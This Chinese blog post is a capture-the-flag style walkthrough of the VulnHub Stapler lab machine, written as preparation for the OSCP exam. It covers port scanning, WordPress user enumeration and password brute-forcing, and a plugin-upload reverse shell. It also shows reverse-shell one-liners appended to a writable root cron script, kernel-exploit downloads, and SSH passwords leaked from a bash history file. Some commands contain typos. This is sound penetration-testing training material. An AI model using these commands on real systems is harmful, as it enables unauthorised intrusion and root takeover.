靶场实战(15):OSCP备考之VulnHub STAPLER

打靶思路

  1. 资产发现

    1. 主机发现

    2. 服务发现

  2. 漏洞发现(获取权限)

    1. 21端口/FTP服务

      1. 组件漏洞

      2. 口令漏洞

    2. 139端口/SMB服务

      1. 组件漏洞

      2. 口令漏洞

    3. 666端口/doom服务

      1. 组件漏洞

      2. 其它漏洞

    4. 80端口/HTTP服务

      1. 组件漏洞

      2. URL漏洞

    5. 12380端口/HTTP服务

      1. 组件漏洞

      2. URL漏洞

    6. 12380端口/HTTPS服务

      1. 组件漏洞

      2. URL漏洞

  3. 提升权限

    1. www-data用户

      1. sudo

      2. suid    

      3. cron

      4. 内核提权

      5. 信息收集

    2. JKanode用户

      1. sudo

      2. suid

      3. cron

      4. 内核提权

      5. 信息泄漏

    3. peter用户

      1. sudo

1、资产发现

1.1、主机发现

本次靶机STAPLER[1]指定IP,不涉及主机发现过程。

1.2、服务发现

使用命令sudo -u root nmap 172.16.33.79 -n -Pn -p- --reason -sV -sC -O,发现主机开放的端口、提供的服务、使用的组件、组件的版本。

f4bf4d57866fd96c66fc809ca223aa2a.png

6b319a555763770d4eb37c50ea24ad84.png

开放的端口

提供的服务

使用的组件

组件的版本

21/tcp

ftp

vsftpd

2.0.8 or later

22/tcp

ssh

OpenSSH

7.2p2

53/tcp

domain

dnsmasq

2.75

80/tcp

http

PHP cli server

5.5 or later

139/tcp

netbios-ssn

Samba smbd

4.3.9

666/tcp

doom?

?

?

3306/tcp

mysql

MySQL

5.7.12

12380/tcp

http

Apache httpd

2.4.18

-

os

Ubuntu Linux

?

2、漏洞发现(获取权限)

2.1、21端口/FTP服务

2.1.1、组件漏洞

使用命令searchsploit vsftpd 2.0.8未发现组件vsftpd 2.0.8的Nday漏洞。

34d867075a30ed9ee307bb96345e25f5.png

2.1.2、口令漏洞

使用命令ftp 172.16.33.79连接FTP服务,使用匿名账户anonymous空口令登录,发现一个用户名Harry。使用命令ls -a查看文件,发现没有查看权限,使用命令bye退出FTP服务。

b780c62665cc914528bd4345cc10bc2f.png

基于刚才发现的harry用户,使用命令hydra -l harry -P /usr/share/seclists/Passwords/Common-Credentials/common-passwords-win.txt 172.16.33.79 ftp,未发现弱口令。

627b9c54c4522682bd90d9c8df837937.png

2.2、139端口/SMB服务

2.2.1、组件漏洞

使用命令searchsploit Samba 4.3.9,未发现组件Samba smbd 4.3.9的Nday漏洞。

011edb286910ec42c88ef9b667b8fec2.png

2.2.2、口令漏洞

使用命令smbclient -L 172.16.33.79空口令查看有什么东西,发现kathy。使用命令smbclient //172.16.33.79/kathy空口令登录SMB服务,使用ls发现两个目录,使用cd <路径>进入目录并使用get <文件>下载文件,最后使用quit退出SMB服务。

1cc83769168e7e4b87d6fff92e171b14.png

逐个查看下载的文件,无有价值信息。

7f8c97c26867b7a416836aacaf5296b1.png

2.3、666端口/doom服务

2.3.1、组件漏洞

使用命令searchsploit doom,未发现doom服务相关组件的Nday漏洞。

96df575935b72f6f9790b0558713c9e1.png

2.3.2、其它漏洞

使用命令nc 172.16.33.79 666连接端口,返回一堆乱码,疑似一个文件。使用命令nc 172.16.33.79 666 > file将乱码保存到file文件中,并使用命令less file查看,发现开头是PK,这是压缩文件的标志。

80b9678a7396d5d989f4952b26e8be1c.png

c7c67b5b84e5c258274ca90a434c1b7a.png

bdb0077a917db783e287b3b59cbf9f0a.png

使用命令mv file file.zip为文件添加zip后缀,使用命令unzip file.zip进行解压,获得message2.jpg文件。使用命令less message2.jpg查看,发现提示If you are reading this, you should get a cookie!,难道%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz是cookie?

e0f9d6eb3b5e3d382a7a592485e73fdf.png

f9a7d912c285d534ae6a49099ccd741a.png

2.4、80端口/HTTP服务

2.4.1、组件漏洞

0x01、Web中间件

使用命令searchsploit PHP cli server,未发现Web中间件PHP cli server的Nday漏洞。

67640a4d77f6834de9bf67a1ddbe14e9.png

0x02、Web框架

使用浏览器插件Wappalyzer,未发现存在Nday漏洞的Web框架。

55b5994096652815cf7fee879b96b266.png

2.4.2、URL漏洞

0x01、直接访问

打开http://172.16.33.79/,是404页面,没有收获。

518bdb4589920b4465a3f953b2776496.png

0x02、目录扫描

使用命令dirsearch -u http://172.16.33.79/ -x 403扫描网站的目录和文件,无有价值的收获。

0ba0265c66433fd04fcafb8791f9dffe.png

0x03、模糊测试

基于目前已知情况,没有对网站的目录和文件进行FUZZ的必要。

0x04、切换协议

探测HTTPS协议,访问https://172.16.33.79/,无响应。

81316583c8d7a5e96704b141586d4789.png

2.5、12380端口/HTTP服务

2.5.1、组件漏洞

0x01、Web中间件

使用命令searchsploit Apache httpd 2.4.,未发现Web中间件Apache httpd 2.4.18的Nday漏洞。

ab4d2a4d899f13001e100d41d0fedc37.png

0x02、Web框架

使用浏览器插件Wappalyzer,未发现使用Nday漏洞的Web框架。

95229885a05ec67f1e3a8a935ec9a7a8.png

2.5.2、URL漏洞

0x01、直接访问

浏览器打开https://172.16.33.79:12380/,提示网站正在开发中,无收获。

c202518dbaa36cbbe84e94efd42a46d7.png

0x02、目录扫描

使用命令dirsearch -u http://172.16.33.79:12380/ -x 403扫描网站的目录和文件,但是速度过于缓慢,直接放弃。

d91bb6e09546f0aa035fea3ae4512e4e.png

0x03、模糊测试

基于目前已知情况,没有对网站的目录和文件进行FUZZ的必要。

0x04、切换协议(这个步骤原本SOP是没有的,感谢这个靶机)

尝试HTTPS协议,访问https://172.16.33.79:12380,有响应,说明有使用HTTP协议。

396a15228ee2c62a97f049164bb3422d.png

2.6、12380端口/HTTPS服务

2.6.1、组件漏洞

0x01、Web中间件

2.5.1已经排查过,不再排查。

0x02、Web框架

使用浏览器插件Wappalyzer,未发现存在Nday漏洞的Web框架。

2ed6d24c26e30dcb06d964da328fa067.png

2.6.2、URL漏洞

0x01、直接访问

直接访问https://172.16.33.79:12380,提示是内部页面,没有其它信息。

cc14b6db13a2fb8a0070c23620c79d8e.png

0x02、目录扫描

使用命令searchsploit -u https://172.16.33.79:12380/ -x 403扫描网站的目录和文件,发现/phpmyadmin文件和/robots.txt文件。

b123af72ca4dfb61fef8dfe0e9907e7a.png

打开/robots.txt文件,发现新的文件路径/admin112233/blogblog

b86b539e10d3b0ec6eb7e27de2eeaa68.png

打开/admin112233文件, 提示需要带上cookie来访问。使用前面666端口拿到的疑似cookie来构造请求,但是没用。

b8687b3ee9347ab4250a12e129476dba.png

12dbc0e02e48135b8fb44cc9b6f58e68.png

打开/blogblog文件,发现使用WordPress搭建的。

07a70f771810d85fe56763f8abbf789e.png

使用命令wpscan --url https://172.16.33.79:12380/blogblog/ --disable-tls-checks扫描WordPress,逐个检查扫描结果,无收获。

60580151fa59d2ea5003dfee416985df.png

使用命令wpscan --url https://172.16.33.79:12380/blogblog/ --disable-tls-checks --enumerate u扫描WordPress用户,发现还不少。

7324e422ecbfbe572dc848dcc10c46ec.png

96e86af089f45c47fff817b53b569f61.png

使用命令wpscan --url https://172.16.33.79:12380/blogblog/ --disable-tls-checks --usernames john,peter,barry,heather,garry,elly,harry,scott,kathy,tim --passwords /usr/share/wordlists/rockyou.txt爆破WordPress用户的密码,发现还不少。

93d65bd7af70b04cbd49389c9b0b333f.png

3923e6c086a4a83bb6ec9f691038ff96.png

https://172.16.33.79:12380/blogblog/wp-login.php逐个登录,都是普通用户,没法get shell,还好最终扫出了管理员John Smith。

933591d41ce5a3895d048adb7d05d27b.png

想通过编辑当前主题的php文件的方式写入反弹shell,但是没有write权限。

c701728317d050aeb9bae9777958df63.png

想通过编辑当前插件的php文件的方式写入反弹shell,但是也没有write权限。

861fd4e23656ae741b88dcdba6b285dc.png

在插件这儿看到一个Add New的功能,可以Upload Plugin,那能不能上传反弹shell文件呢?尝试一下发现需要FTP服务器账号密码,使用匿名账号anonymous空口令竟然没报错。后来测试,步骤6空着也能上传。但是上传请求并未返回文件保存路径,前端翻找也并未发现。

46c738adcb51e68de57e8f195d98b196.png

7ce14c1174baf7a8bef95407bd8494c6.png

ae093d27416de2018373e182e93459af.png

e4f53c0f5bf013291beab4891a88b804.png

想起前面wpscan有扫出一个文件上传路径https://172.16.33.79:12380/blogblog/wp-content/uploads/,当时访问是空的,现在访问竟然看到了上传的反弹shell文件。在本地使用命令nc -nvlp 3379监听端口,然后访问反弹shell文件,最终获得了反弹shell。

722ff97cace6c7500e135e72ea89b768.png

f18a2e58010e9f7747ad7dc539b7f9a3.png

d923f58422e9d03b20c5748673e7a0f6.png

0x03、模糊测试

基于目前已知信息,没有对网站的目录和文件进行FUZZ的必要。

3、提升权限

3.1、www-data用户

3.1.1、sudo

使用命令sudo -l查看当前用户能以谁的权限执行什么命令,提示没有tty无法使用交互式的身份验证程序。使用命令which python3发现系统安装了Python3,使用命令python3 -c "import pty; pty.spawn("/bin/bash")'h获得交互式tty。

使用命令sudo -l查看当前用户能以谁的权限执行什么命令,提示需要输入www-data用户的密码。由于我们没有,因此只能放弃。

30d1e32c50d4c8372d57a5d3b28131ee.png

3.1.2、suid

使用命令find / -perm -u=s -type f -ls 2>/dev/null查看哪些命令在执行时会以该命令属主的权限执行,发现还挺多。逐个在GTFOBins[2]查阅哪个命令能用于提权,发现一个都不行。

b1d2ea4fe845f985b92756883027f726.png

3.1.3、cron

使用命令find /var/spool/cron/ -type f -ls 2>/dev/null查看定时任务,没有结果。使用命令find /var/spool/cron/ -type f -ls不隐藏报错,发现是没有查看权限。

dfaa77605908ba23e7213ddb5ebf61e5.png

使用命令find /etc/*cron* -type f -ls 2>/dev/null查看定时任务,发现还挺多。使用命令find /etc/*cron* -type f -ls 2>/dev/null -exec cat {} \; > /tmp/cron.txtgrep '\*' /tmp/cron.txt查看定时任务内容,发现root用户每5分钟会执行一次/usr/local/sbin/cron-logrotate.sh脚本。

f6370a7d80d4b36e26478831642eefa8.png

使用命令ls -l /usr/local/sbin/cron-logrotate.sh查看脚本权限,发现other用户有read和write权限。使用命令cat /usr/local/sbin/cron-logrotate.sh利用read权限查看脚本内容,发现只有一个备注。使用命令echo "bash -i >& /dev/tcp/10.8.0.110/4444 0>&1" >> /usr/local/sbin/cron-logrotate.sh利用write权限往脚本中写入反弹shell,并使用命令cat /usr/local/sbin/cron-logrotate.sh确认反弹shell已经成功写入脚本文件。

3aa30f07a14a16821b13ff91e4a3dc4f.png

本地使用命令nc -nvlp 4444一直没有获取到反弹shell。使用命令grep root /etc/passwd发现root用户的shell是zsh,难怪用bash反弹不了。改为nc,使用命令echo "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.8.0.110 4444 >/tmp/f" > /usr/local/sbin/cron-logrotate.sh往脚本中写入反弹shell,并使用命令cat /usr/local/sbin/cron-logrotate.sh确认反弹shell已经成功写入脚本文件。

82591901c400b65b40a267b9e4a78cc4.png

本地使用命令nc -nvlp 4444最终获得root用户的反弹shell,成功提权。

d6e958f5acfd1368654e6acc044e1825.png

3.1.4、内核提权

在靶机上使用命令uname -r发现系统内核版本是4.4.0-21,使用命令cat /etc/*release发现系统发行版本是Ubuntu 16.04

在本地使用命令searchsploit 4.4.0-21 Ubuntu Linux 16.04 Privilege Escalation,发现两个本地提权的EXP,使用命令searchsploit -m将EXP拷贝到本地,使用命令gcc-o <最终EXP> --static编译,但报错太多,于是放弃。

bae9cdc9c956c553122fd0d5ba690e1f.png

3c229c6058958c74a27ffeaec1681f63.png

403fc2b0d30fcb00110f41ce68dd3983.png

看下有没其它EXP吧,在本地使用命令searchsploit Ubuntu 16.04 4.4.0-21 Privilege Escalation,发现不少新的EXP。使用命令searchsploit -m 45010将EXP拷贝至当前目录,使用命令gcc 45010.c -o 45010 --static编译EXP,使用命令python3 -m http.server开启HTTP服务给靶机下载EXP。

在靶机上使用命令wget http://10.8.0.110:8000/45010下载EXP后使用命令chmod +x ./45010赋予EXP执行权限,然后使用命令./45010执行EXP,但是报错cannot execute binary file: Exec format error

网上查阅文档,解决linux下cannot execute binary file: Exec format error[3]提到可能是本地编译机器和靶机机器的CPU不一样导致的,那就在靶机上编译吧。使用命令wget http://10.8.0.110:8000/45010.c下载C代码后使用命令gcc 45010.c -o 45010进行编译,竟然一堆报错。使用命令uname -p看了下是啥CPU,然后只能骂骂咧咧地放弃了。

ab6f2e394e679ec4ccf36e0bf70348d8.png

f890c555752051860d1acd92d6df47a0.png

4ae14027b6e9ee9c72ee31c2233b7b6b.png

3.1.5、信息收集

使用命令find /root/ -type f -ls 2>/dev/null查看特权用户目录,未发现敏感文件。使用命令find /home/ -type f -ls 2>/dev/null查看普通用户目录,发现大量other用户可读的文件。重点查找配置文件和日志文件,发现.bash_history文件。

525f8d78f412042c21197858e59a0815.png

使用命令find /home/ -name .bash_history -type f -ls 2>/dev/null列出所有.bash_history文件,文件越大说明内容越多,但最大的也才167字节,坏处是没太多东西可以翻,好处是不用翻太多东西。

0ccba9e8d032243f1319df1a435c2781.png

逐个查看日志文件,使用命令cat /home/JKanode/.bash_history发现免交互SSH登录命令sshpass的登录日志,泄漏了两个SSH服务的账号密码:JKanode/thisimypasswordpeter/JZQuyIN5

c8363508c6011321b832dc516dd9347a.png

两个账户都能成功登录SSH服务,虽然不是root用户,但也算成功越权。

cc71751c876e300e4d38fcec4fc15a2f.png

6546bf9e82bb02c805dec80ec4c6d2e6.png

3.2、JKanode用户

3.2.1、sudo

使用命令sudo -l查看当前用户能以谁的权限执行什么命令,发现当前用户没有执行sudo命令的权限

dd3f559eb9ea20c046c1d1760a9c009c.png

3.2.2、suid

使用命令find / -perm -u=s -type f -ls 2>/dev/null查看哪些命令在执行时会以该命令属主的权限执行,发现还挺多。逐个在GTFOBins[4]查阅哪个命令能用于提权,发现一个都不行。

4fd03b17f97e230299130078c0b28646.png

3.2.3、cron

使用命令find /var/spool/cron/ -type f -ls 2>/dev/null查看定时任务,没有结果。使用命令find /var/spool/cron/ -type f -ls不隐藏报错,发现是没有查看权限。

dad4d5eeaa5046624e38e4b72cd8cc7e.png

使用命令find /etc/*cron* -type f -ls 2>/dev/null查看定时任务,发现还挺多。使用命令find /etc/*cron* -type f -ls 2>/dev/null -exec cat {} \; > /tmp/cron.txtgrep '\*' /tmp/cron.txt查看定时任务内容,和www-data用户一样,就不重复了。

1f67cdb0d887698ce1c10b7347e38e6e.png

3.2.4、内核提权

www-data用户一样,就不重复了。

3.2.5、信息泄漏

www-data用户一样,就不重复了。

3.3、peter用户

3.3.1、sudo

使用命令sudo -l查看当前用户能以谁的权限执行什么命令,发现当前用户能以任意用户的权限执行任意命令。使用简写版命令sudo su或者非简写版命令sudo -u root su root,以root用户的权限执行切换到root用户的命令,最终获得root用户的权限,成功提权。

49426926c4a84a103c8158d801ad2617.png

参考资料

[1]

STAPLER: https://www.vulnhub.com/entry/stapler-1,150/

[2]

GTFOBins: https://gtfobins.github.io/#

[3]

解决linux下cannot execute binary file: Exec format error: https://blog.csdn.net/owen7500/article/details/52397353

[4]

GTFOBins: https://gtfobins.github.io/#

  • 26
    点赞
  • 20
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值